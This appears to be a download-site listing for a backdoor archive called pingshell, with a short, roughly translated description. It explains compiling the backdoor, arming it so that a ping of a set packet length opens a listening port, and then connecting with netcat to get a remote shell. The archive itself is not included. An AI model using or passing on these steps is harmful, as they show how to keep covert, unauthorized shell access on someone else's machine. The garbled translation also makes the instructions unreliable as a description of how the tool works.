Description: First compile pingshell.c backdoor, the compiled file pingshell this is our back door, and then use the command
pingshell 1017 5555, meaning that if accepted as ping packet length is 1017 local time listening 5555 port, ping-l 1017 127.0.0.1
Then connect nc, nc-nvv ip 5555 can be.
Note: This question is if there is a back door brute force, it is not very safe.
To Search:
File list (Check if you may need any files):
27796721pingshell.tar